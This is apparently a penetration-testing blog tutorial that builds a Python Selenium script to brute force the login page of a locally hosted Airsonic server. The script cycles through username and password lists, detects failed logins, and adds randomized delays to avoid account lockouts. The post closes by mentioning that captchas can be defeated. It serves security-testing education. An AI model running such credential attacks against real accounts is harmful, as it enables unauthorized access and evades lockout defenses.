0bit

Automating Complex Web Interactions – Brute Force Edition

Dec 10, 2024 | Automation

I think every pentester at some point has run up against a web application that they’d like to brute force or scrape, but interacting with it is more complex than a Burp Suite’s Intruder can easily handle, or might require Javascript to render an element that you need to interact with, which puts it outside Python’s requests library. So, what do you do in that situation?

The best way to handle that is to use a real browser that interacts with the page just like a user would, but in an automated fashion. There’s a tool for that, Selenium. Selenium allows you to automate interactions with all the major browsers. It also allows you to interact with fields like the username and password field, click buttons, and more. With the right addons, you can even solve some captchas.

Implementations of Selenium are available in Python, Java, C#,Ruby, Javascript, and Kotlin. There are also several browsers supported, including Chrome, Edge, Firefox, IE, and Safari. For the purposes of this post, I will use Chrome and Python.

As a target for this tutorial, I will use Airsonic, which I will access locally as http://airsonic.test.internal:4040. Airsonic can be deployed with Docker, so it’s quick and easy to set up as a target. To being with, you will need to install Selenium along with the driver of your choice for your associated browser. I generally use Google Chrome and its associated driver. To cover most of the functionality I will need, my Python file will include the following:

import os,sys
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait 
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
import time

Next, we need to set up the driver itself. The following snippets will configure the driver and to use Chrome and add some options. Since I’m running Kali in a VM, I’ll add the –disable-dev-shm-usage option, since /dev/shm can be too small on VMs and cause stability issues. As I test to make sure everything’s working, I will open the test application using driver.get(). The time.sleep command is added since Selenium will immediately close after the task is complete.

driver_location = '/usr/local/bin/chromedriver'
binary_location = '/opt/google/chrome/google-chrome'

# Set up options
service = Service(executable_path=driver_location)
options = webdriver.ChromeOptions()
options.binary_location = binary_location
options.add_argument('--disable-dev-shm-usage')

driver = webdriver.Chrome(service=service, options=options)

driver.get("http://airsonic.test.internal:4040")
time.sleep(10)

So, now I want to do something useful. To do that, we need to be able to identify elements within the website to interact with them. To accomplish this, Selenium has a number of options for locating elements, such as class name, ID, XPath, tag name, and other options. This is where SelectorsHub comes in to play. The plugin is accessed by accessing developer’s tools, selecting the element of interest with the inpsector, and the reviewing SelectorHub’s output. Do note that you may need to click the arrow indicated to find SelectorsHub. Also, make sure you use the same browser as the one you will be automating.

SelectorsHub example

From SelectorsHub, the username box can be identified by relative XPath “//input[@id=’j_username’]”. So, since I want to brute force, I will create a login function in Python. But, there is a small issue. Selenium doesn’t necessarily know when the pages is loaded, and if it tries to locate an element that hasn’t loaded, it will cause an exception. So, Selenium has to be instructed to wait for the page to load.

In Selenium, there are two kinds of waits, explicit and implicit. Implicit waits are essentially just like time.sleep(). They wait for a specified period of time. The more intelligent version is an explicit wait, which is more like a while loop that runs and checks for conditions. One of the conditions we can test for is whether or not the element we’re interested in is present. One of those, EC.presence_of_element_located, does exactly that. So, our log in function becomes

def authenticate(username, password):
	driver.get("http://airsonic.test.internal:4040/login")

	# Check for the email box to determine if the page is loaded
	email_box = WebDriverWait(driver,5).until(EC.presence_of_element_located((By.XPATH, "//input[@id='j_username']")))
	print("Found it")

From the above, driver.get(“http://airsonic.test.internal:4040/login”) opens the login page. The next  statement instructs the driver to wait a maximum of 5 seconds, while testing if an element defined by its XPath, //input[@id=’j_username’], has been located. This function will also return a handle to the element. If the above runs correctly, it should print “Found it” to the terminal. An exception will otherwise result. Now that we’ve located the email box element, we need to send text to it.

That is accomplished using the send_keys function for an element. To  type the username variable in the text box, the function is modified, with a time.sleep() call so we can admire our results,

def authenticate(username, password):
	driver.get("http://airsonic.test.internal:4040/login")

	# Check for the email box to determine if the page is loaded
	email_box = WebDriverWait(driver,5).until(EC.presence_of_element_located((By.XPATH, "//input[@id='j_username']")))
	email_box.send_keys(username)

	# Give us a chance to admire our work
	time.sleep(30)

If everything has gone according to plan, for username “testuser,” you should see

Username field filled out

Now, the password field needs to be locating again. Repeating the process from above, the relative XPath for the password box is “//input[@placeholder=’Password’]”. Since the page is already loaded, there’s no need to repeat the wait. We can simply use driver.find_element to locate it, and use send_keys to enter the password.

def authenticate(username, password):
	driver.get("http://airsonic.test.internal:4040/login")

	# Check for the email box to determine if the page is loaded
	email_box = WebDriverWait(driver,5).until(EC.presence_of_element_located((By.XPATH, "//input[@id='j_username']")))
	email_box.send_keys(username)

	# Find the password box and submit our password
	password_box = driver.find_element(By.XPATH, "//input[@placeholder='Password']")
	password_box.send_keys(password)

	# Give us a chance to admire our work
	time.sleep(30)

You should then see the password is also entered.

Password entered

The final step is then to locate the login button. To click the button, we must again locate the button. To click it, the syntax is element.click().

def authenticate(username, password):
	driver.get("http://airsonic.test.internal:4040/login")

	# Check for the email box to determine if the page is loaded
	email_box = WebDriverWait(driver,5).until(EC.presence_of_element_located((By.XPATH, "//input[@id='j_username']")))
	email_box.send_keys(username)

	# Find the password box and submit our password
	password_box = driver.find_element(By.XPATH, "//input[@placeholder='Password']")
	password_box.send_keys(password)

	# Push the button
	submit_button = driver.find_element(By.XPATH, "//input[@name='submit']")
	submit_button.click()

	# Give us a chance to admire our work
	time.sleep(30)

Now, the issue becomes detecting whether or not the login was successful. A text banner shows after submission if the password submitted was incorrect, which will serve as our basis for determining if the login was successful.

Example failed login

Using SelectorsHub, it can be seen that there is an element, warning, with XPath “//span[@class=’warning’]” with the text of the reason the login failed. So, to detect failure, we want to detect this element.

Airsonic Login Failure

The only problem is that we will not know what happens in the event of success, so we have to check for failure instead. If the login fails, there will be a warning present. So, just like we can use Selenium to check if the username field is present, we can check if the warning is present. If it is not, then presumably the login is a success. However, Selenium’s wait will throw a Timeout exception if it does not find it, so we will use the timeout exception as a way to detect possible success.

def authenticate(username, password):
	driver.get("http://airsonic.test.internal:4040/login")

	# Check for the email box to determine if the page is loaded
	email_box = WebDriverWait(driver,5).until(EC.presence_of_element_located((By.XPATH, "//input[@id='j_username']")))
	email_box.send_keys(username)

	# Find the password box and submit our password
	password_box = driver.find_element(By.XPATH, "//input[@placeholder='Password']")
	password_box.send_keys(password)

	# Push the button
	submit_button = driver.find_element(By.XPATH, "//input[@name='submit']")
	submit_button.click()

	# Check for successful login
	try:
		warning = WebDriverWait(driver,1).until(EC.presence_of_element_located((By.XPATH, "//span[@class='warning']")))
		print("Error encountered: " + warning.text)
		print("Login failed username: " + username + " password: " + password)
		return False
	except TimeoutException as ex:
		print("Login potentially successful username: " + username + " password: " + password)
		print("On page: " + driver.current_url)
		return True
	except Exception as ex:
		print("Exception: " + str(ex))
		return False

To be useful for brute forcing, the script must iterate over a list of usernames and passwords. Since lockouts are common, it is also a good idea to allow for some random variance in submission times between each try and each set of passwords.

users = []
passwords = []

for line in userfile:
	line = line.rstrip("\n")
	users.append(line)

for line in passfile:
	line = line.rstrip("\n")
	passwords.append(line)


for i in range(len(passwords)):
	psleep = random.uniform(password_sleep_base, password_sleep_max)
	for j in range(len(users)):
		usleep = random.uniform(user_sleep_base, user_sleep_max)
		print("Trying username: " + users[j] + " password: " + passwords[i])
		authenticate(users[j], passwords[i])
		print("Sleeping after user for " + str(usleep) + "\n")
		time.sleep(usleep)
	print("Sleeping after password for " + str(psleep) + "\n")
	time.sleep(psleep)

Running through a list of common administrative usernames and passwords, valid credentials are located.

Successful login located

Testing the credentials manually, they are found to be valid.

Credentials validated

While a custom brute force script using the requests library or a simple Burp intruder attack can be very useful, some applications make that more challenging. Selenium is a great way to attack logins in more complicated situations. Using computer vision libraries, or other weaknesses in captchas, captchas can often be defeated. Learning Selenium can be a great skill to have for attacking web applications and gaining initial access.